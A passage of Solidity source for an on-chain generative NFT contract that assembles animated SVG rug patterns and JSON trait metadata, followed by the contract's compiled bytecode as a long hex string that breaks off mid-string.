string(abi.encodePacked
(
'<circle cx="12" cy="12" r="6" fill="', colors[rug.colorTwo],'" stroke="black" stroke-width="1"/><circle cx="12" cy="12" r="4" fill="', colors[rug.colorOne],'" stroke="black" stroke-width="1"/><circle cx="12" cy="12" r="2" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="1"/><animate attributeName="x" from="0" to="1.1" dur="9s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#star)" stroke="black" stroke-width="3"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1]), parts[2]));
}
else if(rug.pattern == 2)
{
//HOOTS
string[4] memory parts = [
string(abi.encodePacked
(
'<pattern id="e" viewBox="13,-1,10,15" width="15%" height="95%"><polygon points="-99,-99 -99,99 99,99 99,-99" fill ="', colors[rug.background],'"/> <g stroke="black" stroke-width="0.75"><polygon points="5,5 18,10 23,5 18,0" fill ="', colors[rug.colorTwo],'"/><polygon points="21,0 26,5 21,10 33,5" fill ="', colors[rug.colorThree],'"/> </g><animate attributeName="x" from="0" to="0.3" dur="2.5s" repeatCount="indefinite"/> </pattern>'
)),
string(abi.encodePacked
(
'<pattern id="h" viewBox="10,0,20,25" width="15%" height="107%"><polygon points="-99,-99 -99,99 99,99 99,-99" fill ="', colors[rug.background],'"/><polygon points="9,4 14,9 14,18 9,23 26,23 31,18 31,9 26,4" fill ="', colors[rug.colorOne],'" stroke="black" stroke-width="1"/><g fill ="', colors[rug.background],'" stroke="black" stroke-width="0.5"><circle cx="20" cy="10" r="2.5"/><circle cx="20" cy="17" r="2.5"/><polygon points="24,11 24,16 29,13.5"/></g><circle cx="20" cy="10" r="1.75" fill="black"/><circle cx="20" cy="17" r="1.75" fill="black"/>'
)),
string(abi.encodePacked
(
'<animate attributeName="x" from="0" to="0.6" dur="5s" repeatCount="indefinite"/></pattern><pattern id="c" viewBox="13,4,10,20" width="15%" height="135%"><polygon points="-99,-99 -99,99 99,99 99,-99" fill="', colors[rug.background],'"/><polygon points="7,3 7,18 32,18 32,3" fill="black"/><polygon points="11,7 11,15 28,15 28,7" fill="', colors[rug.background],'"/><g fill="black" stroke="', colors[rug.background],'" stroke-width="1">'
)),
string(abi.encodePacked
(
'<polygon points="-3,9 -3,13 16,13 16,9"/><polygon points="23,9 23,13 41,13 41,9"/></g><animate attributeName="x" from="2.4" to="0" dur="40s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="', colors[rug.background],'"/><rect x="0" y="2" width="128" height="9" fill="url(#e)"/><rect x="0" y="10" width="128" height="9" fill="url(#c)"/><rect x="0" y="19" width="128" height="15" fill="url(#h)"/><rect x="0" y="36.5" width="128" height="9" fill="url(#c)"/><rect x="0" y="46.25" width="128" height="9" fill="url(#e)"/><rect width="128" height="55" fill="transparent" stroke="black" stroke-width="3"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1]), parts[2], parts[3]));
}
else if(rug.pattern == 3)
{
//SCALES
string[3] memory parts = [
string(abi.encodePacked
(
'<linearGradient id="grad1" x1="0%" y1="0%" x2="100%" y2="0%"><stop offset="0%" stop-color="', colors[rug.background],'"/><stop offset="100%" stop-color="', colors[rug.colorOne],'"/></linearGradient>'
)),
string(abi.encodePacked
(
'<pattern id="R" viewBox="0 0 16 16" width="11.4%" height="25%"><g fill="url(#grad1)" stroke-width="1" stroke="black"><polygon points="8,-2 26,-2 26,18 8,18"/><circle cx="8" cy="8" r="8"/><circle cx="0" cy="0" r="8"/><circle cx="0" cy="16" r="8"/><circle cx="8" cy="8" r="3" fill="', colors[rug.colorThree],'"/><circle cx="0" cy="0" r="3" fill="', colors[rug.colorTwo],'"/><circle cx="0" cy="16" r="3" fill="', colors[rug.colorTwo],'"/><circle cx="17" cy="0" r="3" fill="', colors[rug.colorTwo],'"/>'
)),
string(abi.encodePacked(
'<circle cx="17" cy="16" r="3" fill="', colors[rug.colorTwo],'"/></g><animate attributeName="x" from="0" to="0.798" dur="6.6s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#R)" stroke-width="3" stroke="black"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1]), parts[2]));
}
else if(rug.pattern == 4)
{
//HEART
currentSvg = string(abi.encodePacked('<pattern id="star" viewBox="5.5,-50,100,100" width="25%" height="25%"><g stroke="black" stroke-width="2"><polygon points="-99,-99 -99,99 999,99 999,-99" fill ="', colors[rug.background],'"/> <polygon points="0,-50 -60,-15.36 -60,-84.64" fill="', colors[rug.colorOne],'"/><polygon points="0,50 -60,84.64 -60,15.36" fill="', colors[rug.colorOne],'"/><circle cx="120" cy="0" r="30" fill ="', colors[rug.colorTwo],'" /><path fill="', colors[rug.colorThree],'" id="star" d="M0,0 C37.5,62.5 75,25 50,0 C75,-25 37.5,-62.5 0,0 z"/></g><g transform="translate(0,40)" id="star"></g><animate attributeName="x" from="0" to="0.5" dur="4.1s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#star)" stroke="black" stroke-width="3"/>'));
}
else if(rug.pattern == 5)
{
//SQUARES
string[2] memory parts = [
string(abi.encodePacked
(
'<pattern id="moon" viewBox="0,-0.5,10,10" width="100%" height="100%"><rect width="10" height="10" fill="', colors[rug.colorOne],'" stroke="black" stroke-width="2" transform="translate(0.05,-0.5)"/><rect width="5" height="5" stroke="', colors[rug.colorTwo],'" fill="', colors[rug.colorOne],'" transform="translate(2.5,2)"/><rect width="4" height="4" stroke="black" fill="', colors[rug.colorOne],'" transform="translate(3,2.5)" stroke-width="0.3"/>'
)),
string(abi.encodePacked
(
'<rect width="6" height="6" stroke="black" fill="none" transform="translate(2,1.5)" stroke-width="0.3"/><circle cx="5" cy="4.5" r="1" stroke="', colors[rug.colorTwo],'" fill="', colors[rug.colorThree],'"/><g stroke="black" stroke-width="0.3" fill="none"><circle cx="5" cy="4.5" r="1.5"/><circle cx="5" cy="4.5" r="0.5"/> </g></pattern><pattern id="star" viewBox="7,-0.5,7,10" width="17%" height="20%"><g fill="url(#moon)" stroke="', colors[rug.background],'"><rect width="10" height="10" transform="translate(0,-0.5)"/><rect width="10" height="10" transform="translate(10,4.5)"/><rect width="10" height="10" transform="translate(10,-5.5)"/></g><animate attributeName="x" from="0" to="0.17" dur="1.43s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#star)" stroke-width="3" stroke="black"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1])));
}
else if(rug.pattern == 6)
{
//ENCORE
string[3] memory parts = [
string(abi.encodePacked
(
'<radialGradient id="a" x1="0%" y1="0%" x2="100%" y2="0%"><stop offset="0%" stop-color="', colors[rug.background],'" stop-opacity="1" /><stop offset="100%" stop-color="', colors[rug.colorOne],'" stop-opacity="1" /></radialGradient><radialGradient id="b" x1="0%" y1="0%" x2="100%" y2="0%"><stop offset="0%" stop-color="', colors[rug.colorTwo],'" stop-opacity="1" /><stop offset="100%" stop-color="', colors[rug.colorThree],'" stop-opacity="1" /></radialGradient>'
)),
string(abi.encodePacked
(
'<pattern id="R" viewBox="0 0 16 16" width="13.42%" height="33%"><g stroke-width="1" stroke="black" fill="url(#a)"><circle cx="16" cy="16" r="8"/><circle cx="16" cy="14.9" r="6"/><circle cx="16" cy="13" r="4"/><circle cx="16" cy="12" r="2"/><circle cx="0" cy="16" r="8"/><circle cx="0" cy="14.9" r="6"/><circle cx="0" cy="13" r="4"/><circle cx="0" cy="12" r="2"/><circle cx="8" cy="8" r="8" fill="url(#b)"/><circle cx="8" cy="6.5" r="6" fill="url(#b)"/><circle cx="8" cy="5" r="4" fill="url(#b)"/><circle cx="8" cy="4" r="2" fill="url(#b)"/><circle cx="16" cy="0" r="8"/><circle cx="16" cy="-2" r="6"/>'
)),
string(abi.encodePacked
(
'<circle cx="16" cy="-3.9" r="4"/><circle cx="0" cy="0" r="8"/><circle cx="0" cy="-2" r="6"/><circle cx="0" cy="-3.9" r="4"/></g><animate attributeName="x" from="0" to="0.4025" dur="3.35s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#R)" stroke-width="3" stroke="black"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1]), parts[2]));
}
else if(rug.pattern == 7)
{
//Kubrik
string[3] memory parts = [
string(abi.encodePacked
(
'<linearGradient id="grad1" x1="0%" y1="0%" x2="100%" y2="0%"><stop offset="0%" stop-color="', colors[rug.colorOne],'" stop-opacity="1" /><stop offset="100%" stop-color="', colors[rug.colorTwo],'" stop-opacity="1" /></linearGradient><polygon points="0,0 0,55 128,55 128,0" fill ="url(#grad1)"/> <pattern id="star" viewBox="5,-2.9,16,16" width="12%" height="20%">'
)),
string(abi.encodePacked
(
'<polygon points="13,6 10.5,10 5.5,10 2.5,5 5.5,0 10.5,0 13,4 21,4 26,-5 28,-5 22.5,5 29,17 27,17 21,6" fill="', colors[rug.background],'" stroke="black" stroke-width="0.3"/> <polygon points="5,0 10,0 13,5 10,10 5,10 2,5" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="0.6" transform="translate(4.3 2.5) scale(0.5 0.5)"/> <polygon points="21,6 12.5,6 10,10 5,10 2,5 5,0 10,0 12.5,4 20.5,4 25.5,-5 28,-5 22,5" transform="translate(24.5 8) scale(-1,1)" fill="', colors[rug.background],'" stroke="black" stroke-width="0.3"/>'
)),
string(abi.encodePacked
(
'<polygon points="5,0 10,0 13,5 10,10 5,10 2,5" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="0.6" transform="translate(13.3 10.5) scale(0.5 0.5)"/> <polygon points="20.5,6 12.5,6 10,10 5,10 2,5 5,0 10,0 12.5,4 21,4 22,5 28,17 26.5,17" transform="translate(24.5 -8) scale(-1,1)" fill="', colors[rug.background],'" stroke="black" stroke-width="0.3"/> <polygon points="5,0 10,0 13,5 10,10 5,10 2,5" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="0.6" transform="translate(13.3 -5.5) scale(0.5 0.5)"/> <animate attributeName="x" from="0" to="1.2" dur="9.8s" repeatCount="indefinite"/> </pattern><rect width="128" height="55" fill="url(#star)" stroke="black" stroke-width="3"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1]), parts[2]));
}
else if(rug.pattern == 8)
{
//TRIANGLES
string[2] memory parts = [
string(abi.encodePacked
(
'<polygon points="0,0 128,0 128,55 0,55" fill="', colors[rug.background],'"/><pattern id="R" viewBox="0 0 20 24" width="11.8%" height="33%"><g stroke-width="0.3" stroke="black"><polygon points="0,24 10,18 10,30" fill="', colors[rug.colorOne],'"/><polygon points="0,0 10,6 10,-6" fill="', colors[rug.colorOne],'"/><polygon points="10,6 20,12 20,0" fill="', colors[rug.colorTwo],'"/>'
)),
string(abi.encodePacked
(
'<polygon points="3,6 13,12 3,18" fill="', colors[rug.colorThree],'"/><polygon points="-7,12 3,18 -7,24" fill="', colors[rug.colorOne],'"/><polygon points="23,18 13,24 13,12" fill="', colors[rug.colorOne],'"/></g><animate attributeName="x" from="0" to="0.7085" dur="5.9s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#R)" stroke-width="3" stroke="black"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0], parts[1])));
}
else if(rug.pattern == 9)
{
rug.background = combination[1];
rug.colorOne = combination[2];
rug.colorTwo = combination[3];
rug.colorThree = combination[4];
rug.set = (rug.colorOne == rug.colorTwo) && (rug.colorTwo == rug.colorThree);
rug.combination = string(abi.encodePacked(Utils.uint2str(rug.pattern), Utils.uint2str(rug.background), Utils.uint2str(rug.colorOne), Utils.uint2str(rug.colorTwo) , Utils.uint2str(rug.colorThree)));
string[1] memory parts = [
string(abi.encodePacked
(
'<pattern id="star" viewBox="5.5,-50,100,100" width="40%" height="50%"><polygon points="-100,-100 -100,300 300,300 300,-100" fill="white"/> <polyline points="11 1,7 1,7 5,11 5,11 3, 10 3" fill="none" stroke="', ngmiPalette[rug.background],'"/><polyline points="1 5,1 1,5 5,5 1" fill="none" stroke="', ngmiPalette[rug.colorOne],'"/><polyline points="13 5,13 1,15 3,17 1, 17 5" fill="none" stroke="', ngmiPalette[rug.colorTwo],'"/><polyline points="19 1, 23 1, 21 1, 21 5, 19 5, 23 5" fill="none" stroke="', ngmiPalette[rug.colorThree],'"/><animate attributeName="x" from="0" to="0.4" dur="3s" repeatCount="indefinite"/> </pattern> <rect width="128" height="55" fill="url(#star)" stroke="black" stroke-width="3"/>'
))
];
currentSvg = string(abi.encodePacked(abi.encodePacked(parts[0])));
}
svg = string(abi.encodePacked(svg, currentSvg));
svg = string(abi.encodePacked(svg, '</svg>'));
// Keep track of each pn So we can add a trait for each color
string memory traits = string(abi.encodePacked('"attributes": [{"trait_type": "Pattern","value":"', patterns[rug.pattern],'"},'));
if(rug.set)
traits = string(abi.encodePacked(traits, string(abi.encodePacked('{"trait_type": "Set","value":"True"},'))));
string memory traits2 = string(abi.encodePacked('{"trait_type": "Background","value":"', colors[rug.background],'"},{"trait_type": "Color One","value": "', colors[rug.colorOne],'"},{"trait_type": "Color Two","value": "', colors[rug.colorTwo],'"},{"trait_type": "Color Three","value": "', colors[rug.colorThree],'"}]'));
string memory allTraits = string(abi.encodePacked(traits,traits2));
rug.metadata = allTraits;
return (rug, svg);
}
function isTryingToRug(address account) internal view returns (bool)
{
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
library Utils
{
function uint2str(uint256 _i) internal pure returns (string memory str)
{
if (_i == 0)
{
return "0";
}
uint256 j = _i;
uint256 length;
while (j != 0)
{
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint256 k = length;
j = _i;
while (j != 0)
{
bstr[--k] = bytes1(uint8(48 + j % 10));
j /= 10;
}
str = string(bstr);
return str;
}
}
|
0x736bb61ec92d5efb9436b075dedd8c936782d39d8a30146080604052600436106100355760003560e01c8063f15f42921461003a575b600080fd5b61004d6100483660046123a4565b610064565b60405161005b929190615967565b60405180910390f35b61006c61235d565b606061007661235d565b604080518082019091526000808252602082015260006040518061014001604052806040518060400160405280600581526020016422ba3432b960d91b815250815260200160405180604001604052806007815260200166436972636c657360c81b815250815260200160405180604001604052806005815260200164486f6f747360d81b8152508152602001604051806040016040528060058152602001644b61696a7560d81b8152508152602001604051806040016040528060058152602001641219585c9d60da1b8152508152602001604051806040016040528060078152602001662832b939b4b0b760c91b815250815260200160405180604001604052806006815260200165456e636f726560d01b8152508152602001604051806040016040528060078152602001664b75627269636b60c81b8152508152602001604051806040016040528060068152602001654d6f7a61696360d01b8152508152602001604051806040016040528060048152602001634e474d4960e01b81525081525090506000604051806102a00160405280604051806040016040528060088152602001676465657070696e6b60c01b81525081526020016040518060400160405280600d81526020016c6461726b74757271756f69736560981b8152508152602001604051806040016040528060068152602001656f72616e676560d01b81525081526020016040518060400160405280600481526020016319dbdb1960e21b815250815260200160405180604001604052806005815260200164776869746560d81b81525081526020016040518060400160405280600681526020016539b4b63b32b960d11b81525081526020016040518060400160405280600581526020016433b932b2b760d91b81525081526020016040518060400160405280600a81526020016919185c9add9a5bdb195d60b21b8152508152602001604051806040016040528060098152602001681bdc985b99d95c995960ba1b8152508152602001604051806040016040528060098152602001683630bbb733b932b2b760b91b81525081526020016040518060400160405280600f81526020016e1b59591a5d5b5d9a5bdb195d1c9959608a1b8152508152602001604051806040016040528060038152602001621c995960ea1b81525081526020016040518060400160405280600981526020016837b634bb32b23930b160b91b81525081526020016040518060400160405280600681526020016562697371756560d01b815250815260200160405180604001604052806008815260200167636f726e73696c6b60c01b81525081526020016040518060400160405280600a8152602001696461726b6f72616e676560b01b815250815260200160405180604001604052806009815260200168736c617465626c756560b81b81525081526020016040518060400160405280600b81526020016a666c6f72616c776869746560a81b8152508152602001604051806040016040528060058152602001646b68616b6960d81b81525081526020016040518060400160405280600781526020016631b934b6b9b7b760c91b81525081526020016040518060400160405280600781526020016674686973746c6560c81b81525081525090506000604051806102a0016040528060405180604001604052806005815260200164626c61636b60d81b8152508152602001604051806040016040528060038152602001621c995960ea1b81525081526020016040518060400160405280600581526020016433b932b2b760d91b815250815260200160405180604001604052806004815260200163626c756560e01b81525081526020016040518060400160405280600681526020016536b0b937b7b760d11b8152508152602001604051806040016040528060068152602001651d9a5bdb195d60d21b8152508152602001604051806040016040528060038152602001623a30b760e91b81525081526020016040518060400160405280600981526020016874757271756f69736560b81b81525081526020016040518060400160405280600481526020016331bcb0b760e11b81525081526020016040518060400160405280600781526020016619185c9adc995960ca1b81525081526020016040518060400160405280600a8152602001696461726b6f72616e676560b01b81525081526020016040518060400160405280600781526020016631b934b6b9b7b760c91b81525081526020016040518060400160405280600a81526020016919185c9add9a5bdb195d60b21b81525081526020016040518060400160405280600981526020016819dbdb19195b9c9bd960ba1b81525081526020016040518060400160405280600b81526020016a3337b932b9ba33b932b2b760a91b8152508152602001604051806040016040528060048152602001636c696d6560e01b8152508152602001604051806040016040528060078152602001666d6167656e746160c81b81525081526020016040518060400160405280600b81526020016a39b83934b733b3b932b2b760a91b8152508152602001604051806040016040528060048152602001631d19585b60e21b8152508152602001604051806040016040528060048152602001636e61767960e01b815250815260200160405180604001604052806006815260200165696e6469676f60d01b81525081525090508760008151811061085257634e487b7160e01b600052603260045260246000fd5b6020908102919091010151808552600111156108715760098552610912565b8351603c11156108845760088552610912565b8351606411156108975760078552610912565b835160a011156108aa5760068552610912565b835160f011156108bd5760058552610912565b835161015411156108d15760048552610912565b83516101cc11156108e55760038552610912565b835161024411156108f95760028552610912565b835161030c111561090d5760018552610912565b600085525b8760018151811061093357634e487b7160e01b600052603260045260246000fd5b60200260200101518560200181815250508760028151811061096557634e487b7160e01b600052603260045260246000fd5b60200260200101518560400181815250508760038151811061099757634e487b7160e01b600052603260045260246000fd5b6020026020010151856060018181525050876004815181106109c957634e487b7160e01b600052603260045260246000fd5b6020026020010151856080018181525050846060015185604001511480156109f8575084608001518560600151145b151560a08601528451610a0a90612235565b610a178660200151612235565b610a248760400151612235565b610a318860600151612235565b610a3e8960800151612235565b604051602001610a529594939291906125f6565b60408051601f1981840301815291905260e08601528451600090610a7590612235565b604051602001610a8591906133e3565b60408051601f1981840301815260208301909152600082528751909250610b735783876020015160158110610aca57634e487b7160e01b600052603260045260246000fd5b602002015184886040015160158110610af357634e487b7160e01b600052603260045260246000fd5b602002015185896060015160158110610b1c57634e487b7160e01b600052603260045260246000fd5b6020020151868a6080015160158110610b4557634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610b5d9493929190613495565b6040516020818303038152906040529050612020565b865160011415610e645760006040518060600160405280868a6040015160158110610bae57634e487b7160e01b600052603260045260246000fd5b6020020151878b6080015160158110610bd757634e487b7160e01b600052603260045260246000fd5b6020020151888c6040015160158110610c0057634e487b7160e01b600052603260045260246000fd5b6020020151898d6080015160158110610c2957634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610c4194939291906128a7565b6040516020818303038152906040528152602001868a6060015160158110610c7957634e487b7160e01b600052603260045260246000fd5b6020020151878b6040015160158110610ca257634e487b7160e01b600052603260045260246000fd5b6020020151888c6020015160158110610ccb57634e487b7160e01b600052603260045260246000fd5b6020020151898d6060015160158110610cf457634e487b7160e01b600052603260045260246000fd5b60200201518a8e6040015160158110610d1d57634e487b7160e01b600052603260045260246000fd5b60200201518b8f6080015160158110610d4657634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610d60969594939291906148da565b6040516020818303038152906040528152602001868a6060015160158110610d9857634e487b7160e01b600052603260045260246000fd5b6020020151878b6040015160158110610dc157634e487b7160e01b600052603260045260246000fd5b6020020151888c6080015160158110610dea57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610e0193929190612c0c565b60408051808303601f19018152918152915281516020808401519251939450610e2d9391929101612584565b60408051808303601f1901815282825290830151610e4d92602001612584565b604051602081830303815290604052915050612020565b8651600214156110e85760006040518060800160405280868a6020015160158110610e9f57634e487b7160e01b600052603260045260246000fd5b6020020151878b6060015160158110610ec857634e487b7160e01b600052603260045260246000fd5b6020020151888c6080015160158110610ef157634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610f08939291906131d7565b6040516020818303038152906040528152602001868a6020015160158110610f4057634e487b7160e01b600052603260045260246000fd5b6020020151878b6040015160158110610f6957634e487b7160e01b600052603260045260246000fd5b6020020151888c6020015160158110610f9257634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610fa993929190614cf9565b6040516020818303038152906040528152602001868a6020015160158110610fe157634e487b7160e01b600052603260045260246000fd5b6020020151878b602001516015811061100a57634e487b7160e01b600052603260045260246000fd5b6020020151888c602001516015811061103357634e487b7160e01b600052603260045260246000fd5b602002015160405160200161104a9392919061541f565b6040516020818303038152906040528152602001868a602001516015811061108257634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611097919061442e565b60408051808303601f190181529181529152815160208084015192519394506110c39391929101612584565b60408051808303601f19018152828252908301516060840151610e4d936020016125b3565b86516003141561127a5760006040518060600160405280868a602001516015811061112357634e487b7160e01b600052603260045260246000fd5b6020020151878b604001516015811061114c57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611162929190612a67565b6040516020818303038152906040528152602001868a608001516015811061119a57634e487b7160e01b600052603260045260246000fd5b6020020151878b60600151601581106111c357634e487b7160e01b600052603260045260246000fd5b6020020151888c60600151601581106111ec57634e487b7160e01b600052603260045260246000fd5b6020020151898d606001516015811061121557634e487b7160e01b600052603260045260246000fd5b602002015160405160200161122d9493929190612df4565b6040516020818303038152906040528152602001868a606001516015811061126557634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610e019190614124565b86516004141561136557838760200151601581106112a857634e487b7160e01b600052603260045260246000fd5b6020020151848860400151601581106112d157634e487b7160e01b600052603260045260246000fd5b6020020151858960400151601581106112fa57634e487b7160e01b600052603260045260246000fd5b6020020151868a606001516015811061132357634e487b7160e01b600052603260045260246000fd5b6020020151878b608001516015811061134c57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610b5d959493929190615610565b86516005141561151d5760006040518060400160405280868a60400151601581106113a057634e487b7160e01b600052603260045260246000fd5b6020020151878b60600151601581106113c957634e487b7160e01b600052603260045260246000fd5b6020020151888c60400151601581106113f257634e487b7160e01b600052603260045260246000fd5b6020020151898d604001516015811061141b57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611433949392919061268b565b6040516020818303038152906040528152602001868a606001516015811061146b57634e487b7160e01b600052603260045260246000fd5b6020020151878b608001516015811061149457634e487b7160e01b600052603260045260246000fd5b6020020151888c60200151601581106114bd57634e487b7160e01b600052603260045260246000fd5b60200201516040516020016114d493929190613d4e565b60408051808303601f190181529181529152815160208084015192519394506115009391929101612584565b60408051601f1981840301815290829052610e4d91602001612568565b865160061415611a7b5760006040518060600160405280868a602001516015811061155857634e487b7160e01b600052603260045260246000fd5b6020020151878b604001516015811061158157634e487b7160e01b600052603260045260246000fd5b6020020151888c60600151601581106115aa57634e487b7160e01b600052603260045260246000fd5b6020020151898d60800151601581106115d357634e487b7160e01b600052603260045260246000fd5b60200201516040516020016115eb9493929190614723565b60405160208183030381529060405281526020016040516020016118ea907f3c7061747465726e2069643d2252222076696577426f783d223020302031362081527f3136222077696474683d2231332e34322522206865696768743d22333325223e60208201527f3c67207374726f6b652d77696474683d223122207374726f6b653d22626c616360408201527f6b222066696c6c3d2275726c28236129223e3c636972636c652063783d22313660608201527f222063793d2231362220723d2238222f3e3c636972636c652063783d2231362260808201527f2063793d2231342e392220723d2236222f3e3c636972636c652063783d22313660a08201527f222063793d2231332220723d2234222f3e3c636972636c652063783d2231362260c08201527f2063793d2231322220723d2232222f3e3c636972636c652063783d223022206360e08201527f793d2231362220723d2238222f3e3c636972636c652063783d2230222063793d6101008201527f2231342e392220723d2236222f3e3c636972636c652063783d2230222063793d6101208201527f2231332220723d2234222f3e3c636972636c652063783d2230222063793d22316101408201527f322220723d2232222f3e3c636972636c652063783d2238222063793d223822206101608201527f723d2238222066696c6c3d2275726c28236229222f3e3c636972636c652063786101808201527f3d2238222063793d22362e352220723d2236222066696c6c3d2275726c2823626101a08201527f29222f3e3c636972636c652063783d2238222063793d22352220723d223422206101c08201527f66696c6c3d2275726c28236229222f3e3c636972636c652063783d22382220636101e08201527f793d22342220723d2232222066696c6c3d2275726c28236229222f3e3c6369726102008201527f636c652063783d223136222063793d22302220723d2238222f3e3c636972636c6102208201527f652063783d223136222063793d222d322220723d2236222f3e000000000000006102408201526102590190565b6040516020818303038152906040528152602001604051602001610e01907f3c636972636c652063783d223136222063793d222d332e392220723d2234222f81527f3e3c636972636c652063783d2230222063793d22302220723d2238222f3e3c6360208201527f6972636c652063783d2230222063793d222d322220723d2236222f3e3c63697260408201527f636c652063783d2230222063793d222d332e392220723d2234222f3e3c2f673e60608201527f3c616e696d617465206174747269627574654e616d653d2278222066726f6d3d60808201527f22302220746f3d22302e3430323522206475723d22332e33357322207265706560a08201527f6174436f756e743d22696e646566696e697465222f3e3c2f7061747465726e3e60c08201527f3c726563742077696474683d2231323822206865696768743d2235352220666960e08201527f6c6c3d2275726c2823522922207374726f6b652d77696474683d2233222073746101008201526d3937b5b29e91313630b1b591179f60911b61012082015261012e0190565b865160071415611c375760006040518060600160405280868a6040015160158110611ab657634e487b7160e01b600052603260045260246000fd5b6020020151878b6060015160158110611adf57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611af5929190612af7565b6040516020818303038152906040528152602001868a6020015160158110611b2d57634e487b7160e01b600052603260045260246000fd5b6020020151878b6080015160158110611b5657634e487b7160e01b600052603260045260246000fd5b6020020151888c6020015160158110611b7f57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611b9693929190614abf565b6040516020818303038152906040528152602001868a6080015160158110611bce57634e487b7160e01b600052603260045260246000fd5b6020020151878b6020015160158110611bf757634e487b7160e01b600052603260045260246000fd5b6020020151888c6080015160158110611c2057634e487b7160e01b600052603260045260246000fd5b6020020151604051602001610e0193929190613a3f565b865160081415611da65760006040518060400160405280868a6020015160158110611c7257634e487b7160e01b600052603260045260246000fd5b6020020151878b6040015160158110611c9b57634e487b7160e01b600052603260045260246000fd5b6020020151888c6040015160158110611cc457634e487b7160e01b600052603260045260246000fd5b6020020151898d6060015160158110611ced57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611d059493929190614f5e565b6040516020818303038152906040528152602001868a6080015160158110611d3d57634e487b7160e01b600052603260045260246000fd5b6020020151878b6040015160158110611d6657634e487b7160e01b600052603260045260246000fd5b6020020151888c6040015160158110611d8f57634e487b7160e01b600052603260045260246000fd5b60200201516040516020016114d493929190614251565b8651600914156120205789600181518110611dd157634e487b7160e01b600052603260045260246000fd5b602002602001015187602001818152505089600281518110611e0357634e487b7160e01b600052603260045260246000fd5b602002602001015187604001818152505089600381518110611e3557634e487b7160e01b600052603260045260246000fd5b602002602001015187606001818152505089600481518110611e6757634e487b7160e01b600052603260045260246000fd5b602002602001015187608001818152505086606001518760400151148015611e96575086608001518760600151145b151560a08801528651611ea890612235565b611eb58860200151612235565b611ec28960400151612235565b611ecf8a60600151612235565b611edc8b60800151612235565b604051602001611ef09594939291906125f6565b6040516020818303038152906040528760e0018190525060006040518060200160405280858a6020015160158110611f3857634e487b7160e01b600052603260045260246000fd5b6020020151868b6040015160158110611f6157634e487b7160e01b600052603260045260246000fd5b6020020151878c6060015160158110611f8a57634e487b7160e01b600052603260045260246000fd5b6020020151888d6080015160158110611fb357634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611fcb9493929190615106565b60408051808303601f19018152918152915281519051919250611ff091602001612568565b60408051601f198184030181529082905261200d91602001612568565b6040516020818303038152906040529150505b8181604051602001612033929190612584565b6040516020818303038152906040529150816040516020016120559190612661565b60405160208183030381529060405291506000858860000151600a811061208c57634e487b7160e01b600052603260045260246000fd5b60200201516040516020016120a19190613035565b60405160208183030381529060405290508760a001511561212e57806040516020016120fe907f7b2274726169745f74797065223a2022536574222c2276616c7565223a2254728152641d59489f4b60da1b602082015260250190565b60408051601f198184030181529082905261211c9291602001612584565b60405160208183030381529060405290505b60008589602001516015811061215457634e487b7160e01b600052603260045260246000fd5b6020020151868a604001516015811061217d57634e487b7160e01b600052603260045260246000fd5b6020020151878b60600151601581106121a657634e487b7160e01b600052603260045260246000fd5b6020020151888c60800151601581106121cf57634e487b7160e01b600052603260045260246000fd5b60200201516040516020016121e794939291906130a1565b60405160208183030381529060405290506000828260405160200161220d929190612584565b60408051601f1981840301815291905260c08b01525097995091975050505050505050915091565b60608161225a57506040805180820190915260018152600360fc1b6020820152612358565b8160005b8115612284578061226e81615a73565b915061227d9050600a83615a18565b915061225e565b60008167ffffffffffffffff8111156122ad57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156122d7576020820181803683370190505b508593509050815b8315612352576122f0600a85615a8e565b6122fb906030615a00565b60f81b8261230883615a5c565b9250828151811061232957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535061234b600a85615a18565b93506122df565b50925050505b919050565b604051806101000160405280600081526020016000815260200160008152602001600081526020016000815260200160001515815260200160608152602001606081525090565b600060208083850312156123b6578182fd5b823567ffffffffffffffff808211156123cd578384fd5b818501915085601f8301126123e0578384fd5b8135818111156123f2576123f2615ace565b8060051b604051601f19603f8301168101818110858211171561241757612417615ace565b604052828152858101935084860182860187018a1015612435578788fd5b8795505b83861015612457578035855260019590950194938601938601612439565b5098975050505050505050565b60008151612476818560208601615a2c565b9290920192915050565b60008151808452612498816020860160208601615a2c565b601f01601f19169290920160200192915050565b7f222073746f702d6f7061636974793d223122202f3e3c73746f70206f666673658152743a1e9118981812911039ba37b816b1b7b637b91e9160591b602082015260350190565b7f3c6c696e6561724772616469656e742069643d226772616431222078313d22308